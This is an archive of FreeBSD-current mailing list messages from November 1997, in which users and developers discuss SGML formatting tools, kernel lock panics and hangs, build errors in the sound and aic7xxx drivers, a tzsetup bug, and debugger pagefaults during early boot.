From owner-freebsd-current Sun Nov 2 01:46:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA12618 for current-outgoing; Sun, 2 Nov 1997 01:46:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ic4.ic.dk (qmailr@t1p29.telia.dk [194.255.57.158]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA12609 for ; Sun, 2 Nov 1997 01:46:50 -0800 (PST) (envelope-from jacob@jblhome.ping.dk) Received: (qmail 11601 invoked from network); 2 Nov 1997 09:42:56 -0000 Received: from ic1.ic.dk (193.88.65.12) by ic4.ic.dk with SMTP; 2 Nov 1997 09:42:56 -0000 Received: from jblhome by ic1.ic.dk with UUCP id AA24066 (5.65c8/IDA-1.4.4j); Sun, 2 Nov 1997 10:44:06 +0100 Received: (from jacob@localhost) by pippin.jblhome.ping.dk (8.8.7/8.7.3) id KAA23427; Sun, 2 Nov 1997 10:32:56 +0100 (CET) To: John Fieber Cc: Peter Mutsaers , freebsd-current@FreeBSD.ORG Subject: Re: sgmlfmt - again... References: From: Jacob Bohn Lorensen Date: 02 Nov 1997 10:32:54 +0100 In-Reply-To: John Fieber's message of Sat, 1 Nov 1997 08:50:46 -0500 (EST) Message-Id: <87sotfr67t.fsf@pippin.jblhome.ping.dk> Lines: 30 X-Mailer: Gnus v5.3/Emacs 19.34 X-Charset: ISO_8859-1 X-Char-Esc: 29 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John Fieber writes: > On 1 Nov 1997, Peter Mutsaers wrote: > > Which is very unfortunate, because building sgmlfmt depends on > > numerous other programs, that require quite some space (and RAM) to be > > built. > This is why the tools were removed from the source tree--The > bloat is unjustified. Check your memory limits (ulimit). You > may need to boost them a bit to compile jade/sp. Failing that, > you can install the package. I am trying to get tools enough to do some experimental SGML writing; that is, I want to be able to typeset the FreeBSD documents and also try to write some myself, just to try it out. I have installed ports/textproc/{jade,docbook}. I still do not have any sgmlfmt command, and I also cannot seem to find any pointers to where I could get one. So I guess my question is: What packages is needed to write, preview and typeset SGML documents? Or where do I read what I need? Thanks for your time, Jacob. -- Jacob Lorensen; Mosebuen 33, 1.; DK-2820 Gentofte, Denmark; +45-31560401 PGP ID = E596F0B5; PGP Fingerprint = 1E8726467436DC4A 723B6678C5AD9E71 From owner-freebsd-current Sun Nov 2 02:07:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA13442 for current-outgoing; Sun, 2 Nov 1997 02:07:41 -0800 (PST) (envelope-from owner-freebsd-current) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA13436 for ; Sun, 2 Nov 1997 02:07:36 -0800 (PST) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id CAA29233; Sun, 2 Nov 1997 02:07:29 -0800 (PST) Message-ID: <19971102020728.60217@hydrogen.nike.efn.org> Date: Sun, 2 Nov 1997 02:07:28 -0800 From: John-Mark Gurney To: Jacob Bohn Lorensen Cc: freebsd-current@FreeBSD.ORG Subject: Re: sgmlfmt - again... References: <87sotfr67t.fsf@pippin.jblhome.ping.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <87sotfr67t.fsf@pippin.jblhome.ping.dk>; from Jacob Bohn Lorensen on Sun, Nov 02, 1997 at 10:32:54AM +0100 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jacob Bohn Lorensen scribbled this message on Nov 2: > I have installed ports/textproc/{jade,docbook}. I still do not have > any sgmlfmt command, and I also cannot seem to find any pointers to > where I could get one. > > So I guess my question is: What packages is needed to write, preview > and typeset SGML documents? Or where do I read what I need? why not try out the sgmlformat port?? hydrogen,ttypm,/tmp/ports,507$grep ^sgmlformat INDEX sgmlformat-1.4|/usr/ports/textproc/sgmlformat|/usr/local|Generates groff and HTML from linuxdoc and docbook SGML documents|/usr/ports/textproc/sgmlformat/pkg/DESCR|jfieber@FreeBSD.ORG|textproc print||docbook-3.0 iso8879-1986 jade-1.0.1 linuxdoc-1.0 perl-5.00401 and it's in the same section as the jade port... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-current Sun Nov 2 04:42:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA18382 for current-outgoing; Sun, 2 Nov 1997 04:42:04 -0800 (PST) (envelope-from owner-freebsd-current) Received: from fragile.ideal.net.au (rob@fragile.ideal.net.au [203.20.241.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA18377 for ; Sun, 2 Nov 1997 04:42:01 -0800 (PST) (envelope-from rob@ideal.net.au) Received: from localhost (rob@localhost) by fragile.ideal.net.au (8.8.8/8.8.5) with SMTP id XAA13980 for ; Sun, 2 Nov 1997 23:41:48 +1100 (EST) Date: Sun, 2 Nov 1997 23:41:48 +1100 (EST) From: Rob Wise To: current@freebsd.org Subject: Multithreading RC5 client Message-ID: X-WonK: Hmm MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I just grabbed the latest rc5 client from distributed.net, and set the number of cpu's option to 2 in the hope of getting it to multithread... but no such luck :/ My machine is a dual P100 with the world and kernel last rebuilt a few days ago. Is the lack of multithreading a kernel thing or a problem with the client? Rob PS: Sorry for the braindead question :) From owner-freebsd-current Sun Nov 2 06:26:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA21539 for current-outgoing; Sun, 2 Nov 1997 06:26:05 -0800 (PST) (envelope-from owner-freebsd-current) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA21532 for ; Sun, 2 Nov 1997 06:26:00 -0800 (PST) (envelope-from jfieber@indiana.edu) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.7/8.8.7) with SMTP id JAA07341; Sun, 2 Nov 1997 09:25:50 -0500 (EST) Date: Sun, 2 Nov 1997 09:25:50 -0500 (EST) From: John Fieber To: Jacob Bohn Lorensen cc: Peter Mutsaers , freebsd-current@FreeBSD.ORG Subject: Re: sgmlfmt - again... In-Reply-To: <87sotfr67t.fsf@pippin.jblhome.ping.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 2 Nov 1997, Jacob Bohn Lorensen wrote: > I have installed ports/textproc/{jade,docbook}. I still do not have > any sgmlfmt command, and I also cannot seem to find any pointers to > where I could get one. textproc/sgmlformat If you want to use jade directly with the docbook DTD, try my prototype stylsheet(s)... ftp://fallout.campusview.indiana.edu/pub/sgml/stylesheet-0.1.tar.gz And also look at Norm Walsh's docbook stylsheets at: http://www.berkshire.net/~norm/dsssl/ In either case, you don't need the sgmlformat port. The intention was that the "old" method of processing using the instant command with the perl wrapper (sgmlfmt) would be replaced by jade and a dsssl stylesheet. I just have not had the free time to finish the pulling off the transition. Such is life with volunteer software development. :( -john From owner-freebsd-current Sun Nov 2 08:37:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA29369 for current-outgoing; Sun, 2 Nov 1997 08:37:54 -0800 (PST) (envelope-from owner-freebsd-current) Received: from cenotaph.snafu.de (gw-deadnet.snafu.de [194.121.229.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA29362 for ; Sun, 2 Nov 1997 08:37:48 -0800 (PST) (envelope-from root@deadline.snafu.de) Received: by cenotaph.snafu.de from deadline.snafu.de using smtp id m0xS31q-0002vzC; Sun, 2 Nov 1997 17:37:34 +0100 (CET) (Smail-3.2.0.97 1997-Aug-19 #1) Received: by deadline.snafu.de id m0xS31q-000BsZC; Sun, 2 Nov 1997 17:37:34 +0100 (CET) (Smail-3.2.0.97 1997-Aug-19 #1) Message-ID: X-Mailer: XFMail 1.1 [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sun, 02 Nov 1997 17:32:42 +0100 (CET) From: "Andreas S. Wetzel" To: current@freebsd.org Subject: Re: lockmgr panic Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hi! - --- Could somebody please tell me where I can get the patch that (hopefully) fixes the lockmgr panic, or if it has gone into -current recently? I have one machine with persistent lockmgr panics during each shutdown. The machine runs -current as of 10/24/97. Regards, Mickey - -- (__) (@@) Andreas S. Wetzel Mail: mickey@deadline.snafu.de /-------\/ Utrechter Strasse 41 Web: http://cenotaph.snafu.de/ / | || 13347 Berlin Fon: <+4930> 456 066 90 * ||----|| Germany Fax: <+4930> 456 066 91/92 ~~ ~~ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNFysTV0RLF4XzlQ9AQGI/gQAvsRZJh67WYAS6+yWFNZyPHvkoGUv/BKj r4KX8PfJInYxJHSW/vrmmOyoeZkxcV2fsEj1qh6vP3d85eEGwLRGm89uWuBMEXPY zjqOc2ckqRQOb9USsH024+rn9KgtP9XoqVvLYEaLg6Ygp1SLgb6PeRobnyCB6Ell SpmVx4KUCC8= =iczL -----END PGP SIGNATURE----- From owner-freebsd-current Sun Nov 2 08:59:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA00556 for current-outgoing; Sun, 2 Nov 1997 08:59:48 -0800 (PST) (envelope-from owner-freebsd-current) Received: from cenotaph.snafu.de (gw-deadnet.snafu.de [194.121.229.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA00545 for ; Sun, 2 Nov 1997 08:59:38 -0800 (PST) (envelope-from root@deadline.snafu.de) Received: by cenotaph.snafu.de from deadline.snafu.de using smtp id m0xS3N7-0002vzC; Sun, 2 Nov 1997 17:59:33 +0100 (CET) (Smail-3.2.0.97 1997-Aug-19 #1) Received: by deadline.snafu.de id m0xS3N6-000BsZC; Sun, 2 Nov 1997 17:59:32 +0100 (CET) (Smail-3.2.0.97 1997-Aug-19 #1) Message-ID: X-Mailer: XFMail 1.1 [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sun, 02 Nov 1997 17:54:53 +0100 (CET) From: "Andreas S. Wetzel" To: current@freebsd.org Subject: Re: Small Problem with Linux Emul Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hi! - --- I was having the same problems running the Linux version of the QuakeWorld server since an update of -current about june this year. Before I was using a -current version as of february and all was well. A few days ago, the new QuakeWorld server version 2.1 has been released which is again also available for BSDI this time :-) As far as I've tested it until now it works fine. Regards, Mickey - -- (__) (@@) Andreas S. Wetzel Mail: mickey@deadline.snafu.de /-------\/ Utrechter Strasse 41 Web: http://cenotaph.snafu.de/ / | || 13347 Berlin Fon: <+4930> 456 066 90 * ||----|| Germany Fax: <+4930> 456 066 91/92 ~~ ~~ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNFyxdF0RLF4XzlQ9AQEdxQP/fgquxBmcgH+mnHW6T6ddoyy2BXGNV7m/ 0IkdxP0+5fs9DEdAQlrfeYNbLNFIt7ZAzQ1eEYQS44Ru6abR1gp0LVBn8MheJZsf j9euO05bwQhZ5agSxpTdICo1XwOmCJZ0YOr2M/YXOM2q24XD+FE7J3DjRqSbnwz9 pW07KhAY2os= =/E55 -----END PGP SIGNATURE----- From owner-freebsd-current Sun Nov 2 10:03:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA03502 for current-outgoing; Sun, 2 Nov 1997 10:03:58 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dawnrazor.campus.luth.se (dawnrazor.campus.luth.se [130.240.197.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA03497 for ; Sun, 2 Nov 1997 10:03:55 -0800 (PST) (envelope-from offe@dawnrazor.campus.luth.se) Received: from localhost (LOCALHOST [127.0.0.1]) by dawnrazor.campus.luth.se (8.8.7/8.8.5) with SMTP id TAA00289 for ; Sun, 2 Nov 1997 19:03:53 +0100 (CET) Date: Sun, 2 Nov 1997 19:03:52 +0100 (CET) From: Olof Johansson Reply-To: Olof Johansson To: freebsd-current@freebsd.org Subject: Lock problems with current from 1031? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello all, I installed the 1031-SNAP from current.freebsd.org after running the february snap since it came out. The reason for upgrading was the new sound drivers for full duplex, the previous one has worked really well. Anyway, after upgrading I've experienced complete lockups of the system. It behaves strangely in that it is still running and I can use the processes that are created, but new ones won't start. If I break into the console debugger and do a ps lots of processes are waiting either in "ffsvgt" (ffs_inode_hash_lock) or in "vnlock". I just reproduced the error by running one cvsup of the www tree and one "ls -lR / >/dev/null". When I quit the ls (^C) it stopped in "vnlock" and froze. A little later other processes started freezing in vnlock and ffsvgt as well. The hardware in this system: ASUS PVI-SP3 with AMD 5x86-133, SC-200 with /, /var /usr and swap, /usr/local and homedirs on a IDE drive (not setup in bios). 32MB mem and ET6000 graphics + AOpen AW35 soundcard. My first suspicions were that there's some kind of problems with the locks, but I'm not so sure about that any longer. Anyone else that has seen these problems? -Olof PS. I'm not sure if I'm on freebsd-current yet, I re-subscribed to it today, so please cc: to me in any replies. Thanks! DS. From owner-freebsd-current Sun Nov 2 10:46:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA05936 for current-outgoing; Sun, 2 Nov 1997 10:46:06 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ic4.ic.dk (qmailr@t1p29.telia.dk [194.255.57.158]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA05931 for ; Sun, 2 Nov 1997 10:46:01 -0800 (PST) (envelope-from jacob@jblhome.ping.dk) Received: (qmail 24453 invoked from network); 2 Nov 1997 18:41:59 -0000 Received: from ic1.ic.dk (193.88.65.12) by ic4.ic.dk with SMTP; 2 Nov 1997 18:41:59 -0000 Received: from jblhome by ic1.ic.dk with UUCP id AA04896 (5.65c8/IDA-1.4.4j); Sun, 2 Nov 1997 19:44:19 +0100 Received: (from jacob@localhost) by pippin.jblhome.ping.dk (8.8.7/8.7.3) id SAA24737; Sun, 2 Nov 1997 18:23:10 +0100 (CET) To: John-Mark Gurney Cc: freebsd-current@FreeBSD.ORG Subject: Re: sgmlfmt - again... References: <87sotfr67t.fsf@pippin.jblhome.ping.dk> <19971102020728.60217@hydrogen.nike.efn.org> From: Jacob Bohn Lorensen Date: 02 Nov 1997 18:23:08 +0100 In-Reply-To: John-Mark Gurney's message of Sun, 2 Nov 1997 02:07:28 -0800 Message-Id: <87ra8zqkg3.fsf@pippin.jblhome.ping.dk> Lines: 20 X-Mailer: Gnus v5.3/Emacs 19.34 X-Charset: ISO_8859-1 X-Char-Esc: 29 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John-Mark Gurney writes: > Jacob Bohn Lorensen scribbled this message on Nov 2: > > So I guess my question is: What packages is needed to write, preview > > and typeset SGML documents? Or where do I read what I need? > why not try out the sgmlformat port?? > and it's in the same section as the jade port... Not in my ports collection, it's not. Guess I shall have to learn to update my ports collection before asking silly questions *blush*. Thanks for your time, Jacob. -- Jacob Lorensen; Mosebuen 33, 1.; DK-2820 Gentofte, Denmark; +45-31560401 PGP ID = E596F0B5; PGP Fingerprint = 1E8726467436DC4A 723B6678C5AD9E71 From owner-freebsd-current Sun Nov 2 11:07:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA06763 for current-outgoing; Sun, 2 Nov 1997 11:07:35 -0800 (PST) (envelope-from owner-freebsd-current) Received: from piano.synapse.net (piano.synapse.net [199.84.54.19]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA06758 for ; Sun, 2 Nov 1997 11:07:32 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 19381 invoked by uid 1001); 2 Nov 1997 19:07:30 -0000 Date: Sun, 2 Nov 1997 14:07:30 -0500 (EST) From: Evan Champion To: Joerg Wunsch cc: freebsd-current@freebsd.org Subject: Re: 971026 wouldn't let me set timezone In-Reply-To: <19971102190138.XC09043@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 2 Nov 1997, J Wunsch wrote: > Regarding the broken timezone setup, i haven't been using 3.0-current > SNAPs for a while. This installation step is supposed to happen by > running the external program /usr/sbin/tzsetup. Maybe sysinstall > fails to call it for some reason. Maybe the program itself is broken? > If you could reproduce it, have a look at the debug messages on the > second screen (Alt-F2). I ran tzsetup and tracked down the error; there's an extraneous blank line at the end of /usr/share/misc/iso3166. If line 465 is deleted, both tzsetup and sysinstall work fine. Evan From owner-freebsd-current Sun Nov 2 11:51:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA09350 for current-outgoing; Sun, 2 Nov 1997 11:51:49 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA09342; Sun, 2 Nov 1997 11:51:35 -0800 (PST) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA07733; Sun, 2 Nov 1997 20:51:33 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA03259; Sun, 2 Nov 1997 20:44:42 +0100 (MET) Message-ID: <19971102204442.TG61170@uriah.heep.sax.de> Date: Sun, 2 Nov 1997 20:44:42 +0100 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-current@FreeBSD.org (FreeBSD-current users) Cc: markm@FreeBSD.org Subject: LINT broken in i386/isa/sound/uart6850.c X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Sender: owner-freebsd-current@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Just FYI: bin@uriah 117% make -k cc -c -O -pipe -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wuninitialized -nostdinc -I- -I. -I../.. -I../../../include -DSPX_HACK -DSIMPLELOCK_DEBUG -DSI_DEBUG -DSCSI_2_DEF -DNPX_DEBUG -DLOCKF_DEBUG -DEXT2FS -DDEBUG -DCLUSTERDEBUG -DBOOTP_COMPAT -DBOOTP_NFSV3 -DBOOTP_NFSROOT -DBOOTP -DPOWERFAIL_NMI -DNATM -DLINT_PCCARD_HACK -DFDSEEKWAIT=16 -DNSWAPDEV=20 -DMFS_AUTOLOAD -DMFS_ROOT=10 -DDEVFS -DMSDOSFS -DLFS -DNQNFS -DNFS -DFFS -DIPDIVERT -DTCP_COMPAT_42 -DNETATALK -DIPTUNNEL -DIPXIP -DIPX -DINET -DDIAGNOSTIC -DMD5 -DCOMPAT_43 -DFAILSAFE -DKERNEL -include opt_global.h ../../i386/isa/sound/uart6850.c ../../i386/isa/sound/uart6850.c: In function `poll_uart6850': ../../i386/isa/sound/uart6850.c:113: `timeout_func_t' undeclared (first use this function) ../../i386/isa/sound/uart6850.c:113: (Each undeclared identifier is reported only once ../../i386/isa/sound/uart6850.c:113: for each function it appears in.) ../../i386/isa/sound/uart6850.c:113: parse error before `poll_uart6850' *** Error code 1 (continuing) `kernel' not remade because of errors. bin@uriah 118% ident /sys/i386/isa/sound/uart6850.c /sys/i386/isa/sound/uart6850.c: ident warning: no id keywords in /sys/i386/isa/sound/uart6850.c *ick!* bin@uriah 119% cvs status /sys/i386/isa/sound/uart6850.c =================================================================== File: uart6850.c Status: Up-to-date Working revision: 1.10 Sat Nov 1 20:48:13 1997 Repository revision: 1.10 /home/cvs/src/sys/i386/isa/sound/uart6850.c,v Sticky Tag: (none) Sticky Date: (none) Sticky Options: (none) (Hope that's the most recent version.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Sun Nov 2 19:25:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA01121 for current-outgoing; Sun, 2 Nov 1997 19:25:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from taliesin.cs.ucla.edu (Taliesin.CS.UCLA.EDU [131.179.96.166]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id TAA01114 for ; Sun, 2 Nov 1997 19:25:10 -0800 (PST) (envelope-from scottm@mordred.cs.ucla.edu) Received: (qmail 777 invoked from network); 3 Nov 1997 03:25:06 -0000 Received: from mordred.cs.ucla.edu (131.179.48.34) by taliesin.cs.ucla.edu with SMTP; 3 Nov 1997 03:25:06 -0000 Received: from mordred (localhost [127.0.0.1]) by mordred.cs.ucla.edu (8.8.7/8.8.7) with ESMTP id TAA29366 for ; Sun, 2 Nov 1997 19:25:06 -0800 (PST) (envelope-from scottm@mordred.cs.ucla.edu) Message-Id: <199711030325.TAA29366@mordred.cs.ucla.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-current@freebsd.org Subject: CHECK_QUEUE() macro Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 02 Nov 1997 19:25:04 -0800 From: Scott Michel Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk That fix seems to have fixed a lot of problems I was having. Thanks. -scooter From owner-freebsd-current Mon Nov 3 15:19:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA12483 for current-outgoing; Mon, 3 Nov 1997 15:19:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA12477 for ; Mon, 3 Nov 1997 15:19:26 -0800 (PST) (envelope-from mrcpu@cdsnet.net) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id PAA28694; Mon, 3 Nov 1997 15:19:09 -0800 (PST) Date: Mon, 3 Nov 1997 15:19:08 -0800 (PST) From: Jaye Mathisen To: Scott Michel cc: freebsd-current@FreeBSD.ORG Subject: Re: missing pages on cache queue: 1 In-Reply-To: <199711010802.AAA02500@mordred.cs.ucla.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I am getting this all the time as well. It seems to be affecting my system in that when it happens, I get these long pauses that are untraceable to any individual process... On Sat, 1 Nov 1997, Scott Michel wrote: > Any idea how to track down this little piece o'nastiness? > > Oct 31 23:59:39 mordred /kernel: vm_page_alloc(ZERO): missing pages on cache queue: 1 > Oct 31 23:59:44 mordred last message repeated 3 times > > I was running python 1.4 at the time, and had hit ^c to terminate it. > Other than that, not much else was going on at the time (other than > X and a shell.) > > > -scooter > From owner-freebsd-current Mon Nov 3 19:51:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA04448 for current-outgoing; Mon, 3 Nov 1997 19:51:47 -0800 (PST) (envelope-from owner-freebsd-current) Received: from smoke.marlboro.vt.us (smoke.marlboro.vt.us [198.206.215.91]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA04438 for ; Mon, 3 Nov 1997 19:51:38 -0800 (PST) (envelope-from cgull@smoke.marlboro.vt.us) Received: (from cgull@localhost) by smoke.marlboro.vt.us (8.8.7/8.8.7/cgull) id TAA09104; Sat, 1 Nov 1997 19:14:19 -0500 (EST) Date: Sat, 1 Nov 1997 19:14:19 -0500 (EST) Message-Id: <199711020014.TAA09104@smoke.marlboro.vt.us> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: cgull+usenet-878428029@smoke.marlboro.vt.us (john hood) To: Julian Elischer Cc: current@FreeBSD.ORG Subject: Anyone else see this (broken ddb)? In-Reply-To: References: X-Mailer: VM 6.31 under Emacs 19.34.2 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Julian Elischer writes: > > boot a new -current kernel with: > > Boot: -sd > > when the kernel comes to a stop in the debugger add: > > break vfs_mountrootfs > cont > > when the system breaks on vfs_mountrootfs() > try > > trace > > or > > step > > and get more pagefaults.. > > Does any one else see this? > (I updates my sources today) It's a rather smart Heisenbug. I'm trying to track down some IDE problems (probably hardware), so I try using the early-boot debugger, with 'boot -sd'. No matter what I do in the debugger-- even just immediately continue out of it-- the kernel fails to detect my IDE drives and panics on not finding a root fs. If I set a breakpoint, after the breakpoint is hit, I get pagefaults when I give any command. I think this bug knows where I live. I saw this about a week ago then got tied up by other things. --jh -- Mr. Belliveau said, "the difference was the wise, John Hood, cgull intelligent look on the face of the cow." He was @ *so* right. --Ofer Inbar smoke.marlboro.vt.us From owner-freebsd-current Mon Nov 3 19:54:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA04846 for current-outgoing; Mon, 3 Nov 1997 19:54:52 -0800 (PST) (envelope-from owner-freebsd-current) Received: from access.sfc.wide.ad.jp (bourbon.sfc.wide.ad.jp [203.178.141.171]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA04835 for ; Mon, 3 Nov 1997 19:54:44 -0800 (PST) (envelope-from max@bourbon.sfc.wide.ad.jp) Received: from bourbon.sfc.wide.ad.jp (localhost [127.0.0.1]) by access.sfc.wide.ad.jp (8.8.7/3.5Wpl107/15/97) with ESMTP id MAA10998; Tue, 4 Nov 1997 12:54:39 +0900 (JST) Message-Id: <199711040354.MAA10998@access.sfc.wide.ad.jp> To: current@freebsd.org Cc: max@wide.ad.jp Subject: aic7xx/aicasm_scan.l From: Masafumi NAKANE/=?ISO-2022-JP?B?GyRCQ2Y6LDJtSjgbKEI=?= X-Mailer: Mew version 1.70 on Emacs 19.28.1 / Mule 2.3 X-PGP-Fingerprint: 00 D8 2C CA C7 75 D4 40 5C 34 39 BA A5 46 C0 CC Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 04 Nov 1997 12:54:37 +0900 Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I'm just updating my -current box to today's -current. When I compile kernel (both custom and GENERIC), it fails with following error. Could anyone help me with this? ---------------------------------------------------------------------- lex -t ../../dev/aic7xxx/aicasm_scan.l > aicasm_scan.c cc -O -I. -c aicasm_scan.c ../../dev/aic7xxx/aicasm_scan.l: In function `yylex': ../../dev/aic7xxx/aicasm_scan.l:69: `T_DOWNLOAD' undeclared (first use this function) ../../dev/aic7xxx/aicasm_scan.l:69: (Each undeclared identifier is reported only once ../../dev/aic7xxx/aicasm_scan.l:69: for each function it appears in.) *** Error code 1 Stop. *** Error code 1 Stop. ---------------------------------------------------------------------- Thanks, Max From owner-freebsd-current Mon Nov 3 20:20:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA07188 for current-outgoing; Mon, 3 Nov 1997 20:20:25 -0800 (PST) (envelope-from owner-freebsd-current) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA07183 for ; Mon, 3 Nov 1997 20:20:19 -0800 (PST) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id UAA14588; Mon, 3 Nov 1997 20:11:54 -0800 (PST) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd014585; Tue Nov 4 04:11:47 1997 Message-ID: <345EA014.15FB7483@whistle.com> Date: Mon, 03 Nov 1997 20:09:56 -0800 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: john hood CC: current@FreeBSD.ORG Subject: [try this] (Was: ddb broken in -current?) References: <199711020014.TAA09104@smoke.marlboro.vt.us> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Anyone got a clue? 2 people have seen this now, can other people try this experiment? > Julian Elischer writes: > > > > boot a new -current kernel with: > 